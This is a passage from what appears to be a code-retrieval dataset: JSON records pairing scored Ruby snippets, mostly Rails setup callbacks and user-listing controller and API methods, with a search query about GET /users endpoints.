"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
50a42f80a12c90e7f690e961d08c0ca9
|
include Google_places GET /users GET /users.json
|
[
{
"docid": "8b1dbac81472eff58cb602a4a1473ebb",
"score": "0.0",
"text": "def index\n @users = User.all\n end",
"title": ""
}
] |
[
{
"docid": "543509c6588e2f79a8dbcd1cdcdaf7b9",
"score": "0.6915728",
"text": "def users\n try_json get('/user')\n end",
"title": ""
},
{
"docid": "d93b16473b577868d59cf95141aa5573",
"score": "0.68143004",
"text": "def google\n uri = \"https://www.googleapis.com/oauth2/v3/userinfo\"\n response = HTTParty.get(uri, query: {access_token: params[:access_token]})\n @user = User.find_or_create_user_for_google(response.parsed_response.symbolize_keys)\n render json: @user, status: :ok\n end",
"title": ""
},
{
"docid": "8c903d03e45311f48905e2ea9d3bba05",
"score": "0.67539066",
"text": "def users\n oauth_response = access_token.get(\"/api/v1/users.json\")\n JSON.parse(oauth_response.body)\n end",
"title": ""
},
{
"docid": "3aa7680fc26de3f4e1a15063a0a59075",
"score": "0.6749299",
"text": "def search\n @users = User.search(params[:location], params[:type])\n @json = @users.to_gmaps4rails do |user, marker|\n marker.infowindow render_to_string(partial: \"/users/infowindow\", locals: { user: user })\n marker.picture({\n picture: ActionController::Base.helpers.asset_path(\"houses/house#{user.house_id}_small.jpg\"),\n width: 100,\n height: 80\n })\n marker.title \"#{user.display_name}\"\n end\n end",
"title": ""
},
{
"docid": "1fa340328c780cc7bc2a4bc7079f2724",
"score": "0.67374945",
"text": "def fetch_user_details\n get('users/list')\n end",
"title": ""
},
{
"docid": "b209d6e9945c425900c17658a74b7147",
"score": "0.6620938",
"text": "def users(query={})\n perform_get(\"/api/1/users\", :query => query)\n end",
"title": ""
},
{
"docid": "3e1132849bff254063ef4e8144752d24",
"score": "0.6570456",
"text": "def get_users()\n return @api.do_request(\"GET\", get_base_api_path() + \"/users\")\n end",
"title": ""
},
{
"docid": "3e1132849bff254063ef4e8144752d24",
"score": "0.65702206",
"text": "def get_users()\n return @api.do_request(\"GET\", get_base_api_path() + \"/users\")\n end",
"title": ""
},
{
"docid": "3e1132849bff254063ef4e8144752d24",
"score": "0.65702206",
"text": "def get_users()\n return @api.do_request(\"GET\", get_base_api_path() + \"/users\")\n end",
"title": ""
},
{
"docid": "017d848c9897540ea7bc67c9d5139cf4",
"score": "0.6568163",
"text": "def users(opts={})\n get(\"/api/users\", opts)\n end",
"title": ""
},
{
"docid": "6bbb4bc1303f9011da8bcc971a27aa25",
"score": "0.65229744",
"text": "def users\n get '/users'\n end",
"title": ""
},
{
"docid": "a95dfe28d6b386aafc5fb53749e84258",
"score": "0.65133834",
"text": "def user\n get(ROBINHOOD_USER_ROUTE, return_as_json: true)\n end",
"title": ""
},
{
"docid": "bf0919dd85bfe1e319e9a1c96d755cf5",
"score": "0.6483433",
"text": "def user(query={})\n self.class.get(\"/users/show.json\", :query => query)\n end",
"title": ""
},
{
"docid": "81f820aba49ac09ba424a3c44ecb4bf8",
"score": "0.64710027",
"text": "def account_users \n make_request(:get,\"#{account_url}/users.xml\")\n end",
"title": ""
},
{
"docid": "d30e74607055b32d333efba1761736e7",
"score": "0.6462224",
"text": "def users_info\n get_response(base_url, {request_type: :get}, api_params )\n end",
"title": ""
},
{
"docid": "9f7c735ace683c5c2b12c914cc9ad8a8",
"score": "0.6451852",
"text": "def get\n users = User.all.as_json\n render(json: users.as_json, status: :ok)\n end",
"title": ""
},
{
"docid": "f0cb5560cbeec14fd2cbd88ddf2402bf",
"score": "0.64210045",
"text": "def show\n\n @user = User.find(params[:id])\n @json = @user.to_gmaps4rails\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n\t format.json { render json: @user.courses }\n end\n end",
"title": ""
},
{
"docid": "2524b8bb69559aa3839f5ad95e0cd599",
"score": "0.641096",
"text": "def users\n get(:users)['Users'].map do |details|\n User.new(details['Url'], :party => self, :details => details)\n end\n end",
"title": ""
},
{
"docid": "7e8d258f13b5ac8306b7387d394a0f12",
"score": "0.6401466",
"text": "def get_users\n Resources::User.parse(request(:get, \"Users\"))\n end",
"title": ""
},
{
"docid": "5f148358b1a98aa0701287bcbb8bd87c",
"score": "0.6387445",
"text": "def user_search(options={})\n get(\"1/users/search\", options, :format => :json, :phoenix => true)\n end",
"title": ""
},
{
"docid": "d6f580d236de6fb3973d5bc20fe4b914",
"score": "0.63792676",
"text": "def get_users(**options)\n \t\tpath = user_path(options)\n \t\tresponse = client.get(path)\n \t\treturn [] if response[\"users\"].empty?\n \t\tusers = response[\"users\"].map { |user_data| User.new(user_id: user_data['_id'],\n refresh_token: user_data['refresh_token'],\n client: client,\n full_dehydrate: \"no\",\n payload: user_data\n )}\n \t\tUsers.new(limit: response[\"limit\"],\n page: response[\"page\"],\n page_count: response[\"page_count\"],\n user_count: response[\"users_count\"],\n payload: users,\n http_client: client\n )\n \tend",
"title": ""
},
{
"docid": "8e25cbd47ca791a2d3ce55d90600f4d7",
"score": "0.63759845",
"text": "def find_by_city\n render json: @users\n end",
"title": ""
},
{
"docid": "40305076f72f45386411a70c3adef284",
"score": "0.6322937",
"text": "def show\n @json = @user.friends.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "ab43b8ed9313fc766b82b0341fd886d2",
"score": "0.6320029",
"text": "def users\n if usernames\n data = {}\n usernames.each {|u| data[u.username] = u.relationships} \n render json: data and return\n elsif current_user\n render json: {status: \"success\", response: current_user.relationships} and return\n else\n render json: {status: StatusCode::FAILURE, reason: \"no data provided\"}\n end\n end",
"title": ""
},
{
"docid": "7e60a138c96e47a8970fd7abfd00d840",
"score": "0.63073146",
"text": "def show\n @user = User.find(params[:id])\n @friends = @user.friends\n @json = @user.friends.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "647fc35389623e4fd9ee30ce74cad91d",
"score": "0.6306026",
"text": "def users\n data = current_user.organization ? organization_presenter.to_poro[:users] : {}\n\n render json: data\n end",
"title": ""
},
{
"docid": "87476098c3ccfb59d021f2834234d1de",
"score": "0.63030404",
"text": "def get\n @user = User.find(params[:id])\n respond_with @user.as_json(only: [:id, :name, :last_name, :email, :address, :password, :cellphone,:phone], include: [city: {only:[:id, :name ]}])\n end",
"title": ""
},
{
"docid": "b3797f539fcd3f1d294930dd63d0256b",
"score": "0.63028157",
"text": "def showUser\n\n url = 'http://fh.thomassennekamp.de/server/AllUsers'\n request = RestClient.put(url, {:identity => '' }.to_json, :content_type => :json, :accept => :json )\n response = JSON.parse request\n\n @output=(response['users'])\n\n end",
"title": ""
},
{
"docid": "c30d74a9ad7eba05edcb8605ab93b040",
"score": "0.6293199",
"text": "def get_users\n response = connection.get \"users\"\n parse(response)\n end",
"title": ""
},
{
"docid": "ab1b1c0c14442c57c11b6a1d30f31aa1",
"score": "0.6278584",
"text": "def get_user(url)\n access_token = get_token\n headers = {:Authorization => \"Bearer #{access_token}\", :accept => 'application/vnd.hoopla.user+json'}\n response = HTTP.headers(headers).get(url)\n user = JSON.parse(response.to_s)\n return user\n end",
"title": ""
},
{
"docid": "da641a97a89ca89deaca45622270ef86",
"score": "0.62784725",
"text": "def get_users\n self.class.get(\"#{@url}/rest/user-management/users?maxResults=1000\", basic_auth: @auth)\n end",
"title": ""
},
{
"docid": "b554860f553f6313838350ae3b389896",
"score": "0.62782234",
"text": "def all_users\n users = User.org_members(params[:search], params[:org])\n\n render json: { users: users }\n end",
"title": ""
},
{
"docid": "2f190ad36d443d1a902316ac406d8b93",
"score": "0.62731737",
"text": "def get_users\n access_token = get_token\n headers = {:Authorization => \"Bearer #{access_token}\", :accept => 'application/vnd.hoopla.user-list+json'}\n response = HTTP.headers(headers).get(\"#{@@host}/users\")\n users = JSON.parse(response.to_s)\n return users\n end",
"title": ""
},
{
"docid": "7e60da66278df7527b8a69ba2940da2e",
"score": "0.624221",
"text": "def fetch_users\n current_date = Time.now.strftime('%Y/%m/%d')\n # Come up with a better name for this variables.\n response_users = RestClient::Request.execute(\n method: :get, url: \"http://example.com/users&starts_date=#{current_date}\",\n timeout: REQUEST_TIMEOUT\n )\n JSON.parse response_users\n end",
"title": ""
},
{
"docid": "cc242a095e722778fca002f25f8b5ec3",
"score": "0.62262833",
"text": "def users(options = {})\n request(:get, 'users', options = {})\n end",
"title": ""
},
{
"docid": "8964e99596f7e7774764500fc019be86",
"score": "0.6214137",
"text": "def index\n\n if request.path_parameters[:format] == 'json'\n query = get_users\n\n end\n\n respond_to do |format|\n format.html\n format.json { render json: query }\n end\n end",
"title": ""
},
{
"docid": "2489a7f7981cb6f848070305c27a5dee",
"score": "0.6210233",
"text": "def userheader client, resp, lat, lon\n jsn = call4sq client, resp, Client::GET, '/users/self', :v => '20110914'\n return if not jsn\n\n response = jsn['response']\n raise JsonParseError.new('Missing response from /users/self', jsn) unless response\n\n user = response['user']\n raise JsonParseError.new('Missing user from /users/self:', jsn) unless user\n\n firstname = user['firstName'] || ''\n photo = user['photo']\n\n venueName = ''\n checkins = user['checkins']\n if checkins\n items = checkins['items']\n if items and !items.empty?\n venue = items.first['venue']\n if venue\n venueName = venue['name'] || ''\n end\n end\n end\n\n resp.puts <<-EOM\n<p><img src=\"#{photo}\" alt=\"\" class=\"usericon\" style=\"float:left\">\n#{escapeHTML firstname} @ #{escapeHTML venueName}<br>Loc: #{convcoords lat, lon}\n<br style=\"clear:both\"> \n EOM\n\n return jsn\n\nrescue JsonParseError => err\n warn err.to_s\n return jsn\nend",
"title": ""
},
{
"docid": "b762d1b397b5f03e3b62084bc98cfcdc",
"score": "0.6210216",
"text": "def user_search(options={})\n get(\"1/users/search\", options)\n end",
"title": ""
},
{
"docid": "b762d1b397b5f03e3b62084bc98cfcdc",
"score": "0.6210216",
"text": "def user_search(options={})\n get(\"1/users/search\", options)\n end",
"title": ""
},
{
"docid": "b764bf444dc2a36162294f9c05d0a9a9",
"score": "0.62065816",
"text": "def index\n @users = User.all\n @places = Place.all\n @hash = Gmaps4rails.build_markers(@users) do |user, marker|\n marker.lat user.latitude\n marker.lng user.longitude\n marker.infowindow user.address\n end\n end",
"title": ""
},
{
"docid": "28da682b35aecafd832a5f9c03895307",
"score": "0.6200307",
"text": "def retrieve_me\n @client.make_request(:get, 'users', MODEL_CLASS)\n end",
"title": ""
},
{
"docid": "e2f8f1b6da79eea1773f867fa0b4b564",
"score": "0.6190273",
"text": "def index\n @users = User.includes(:address)\n\n render json: @users\n end",
"title": ""
},
{
"docid": "d7a8d837355d713a37f4e2fc0f5b2ad6",
"score": "0.6181448",
"text": "def get_users\n users = case params[:kind]\n when 'friends'\n current_user.friends\n when 'counselor'\n User.all_mentors\n when 'official_counselor'\n User.official_mentors\n when 'other_counselor'\n User.other_mentors\n when 'group_members'\n current_user.user_groups.find(params[:user_group_id]).members\n else\n User.valid_users.exclude_blocked_users(current_user)\n end\n users = filter_users(users).page(params[:page]).per(params[:per_page])\n render json: users.name_sorted.to_json(only: [:id, :full_name, :email, :avatar_url, :mention_key])\n end",
"title": ""
},
{
"docid": "509211a898c5b6d68de4fc065f865355",
"score": "0.61776054",
"text": "def get_users\n endpoint = '/users/current'\n url = self.base_url.to_s + endpoint.to_s + self.format.to_s\n self.get_data(url)\n end",
"title": ""
},
{
"docid": "1ed56f7b7f547c57746a89eed524711c",
"score": "0.6167765",
"text": "def users(*args)\n options = { user_id: args.join(\",\") }\n url = NSURL.URLWithString(\"https://api.twitter.com/1.1/users/lookup.json\")\n request = TWRequest.alloc.initWithURL(url, parameters:options, requestMethod:TWRequestMethodGET)\n request.account = self.ac_account\n ns_url_request = request.signedURLRequest\n ns_url_response_ptr = Pointer.new(:object)\n error_ptr = Pointer.new(:object)\n ns_data = NSURLConnection.sendSynchronousRequest(ns_url_request, returningResponse:ns_url_response_ptr, error:error_ptr)\n return BubbleWrap::JSON.parse(ns_data)\n end",
"title": ""
},
{
"docid": "0d72fb2cb0a3b4113a3937e23e81e371",
"score": "0.61650664",
"text": "def get_user_info\n request_url = \"https://jawbone.com/nudge/api/v.1.1/users/@me\"\n request_headers = { :Authorization => \"Bearer #{CONFIG['access_token']}\" }\n response = RestClient.get(request_url, request_headers)\n response = JSON.parse(response)\n end",
"title": ""
},
{
"docid": "0bcd24908b50aabe8262541173f1842b",
"score": "0.61641234",
"text": "def users_data\n response = RestClient.get(BASE_URL + '/users', Authorization: AUTHORIZATION_TOKEN )\n if response.code == 200\n JSON.parse response.body\n else\n []\n end\n end",
"title": ""
},
{
"docid": "d492126f3b4be35c9b7c9c8b09fd4039",
"score": "0.6163521",
"text": "def user(options = {})\n @user.get(\"/1.1/user.json\", options) do |chunk|\n yield(chunk)\n end\n end",
"title": ""
},
{
"docid": "27cc53faae86afceff923fcfb6055f2a",
"score": "0.61605465",
"text": "def show\n render json: get_user()\n end",
"title": ""
},
{
"docid": "0286c5a792e2aa732f66d84b362f4ba3",
"score": "0.6151805",
"text": "def user_friends(params={})\n self.class.get(\"http://api.foursquare.com/v1/friends.json\", :query=>params)\n end",
"title": ""
},
{
"docid": "5be1a2b1facfbebe48738361ccbdfec5",
"score": "0.6150376",
"text": "def users_show(options = {})\n @req.get(\"/1.1/users/show.json\", options)\n end",
"title": ""
},
{
"docid": "47e58634dc6a1375d758c8a6d4d277ed",
"score": "0.6145004",
"text": "def users\n\t render json: { users: User.all }\n\t end",
"title": ""
},
{
"docid": "98f75cb82cea72c4aaffec16997435c5",
"score": "0.6138874",
"text": "def get_users(org_defined_id = '', username = '', bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/users/\"\n path += \"?orgDefinedId=#{org_defined_id}\" if org_defined_id != ''\n path += \"?userName=#{username}\" if username != ''\n path += \"?bookmark=#{bookmark}\" if bookmark != ''\n _get(path)\n # If- username is defined, this RETURNS a single UserData JSON block\n # else if- org_defined_id is defined, this returns a UserData JSON array\n # else- if neither is defined, this RETURNS a paged result set of users after\n # the bookmark\nend",
"title": ""
},
{
"docid": "2c670bc7f229e1e565fc016e822fda02",
"score": "0.61341345",
"text": "def users\n JSON.parse(get.body)[\"users\"].map { |user| User.new(user, __getobj__) }\n end",
"title": ""
},
{
"docid": "71069f055225252a9ddce9a0e58dfd7a",
"score": "0.6133271",
"text": "def get_user(user_id)\n request :get,\n \"/v3/team/users/#{user_id}.json\"\n end",
"title": ""
},
{
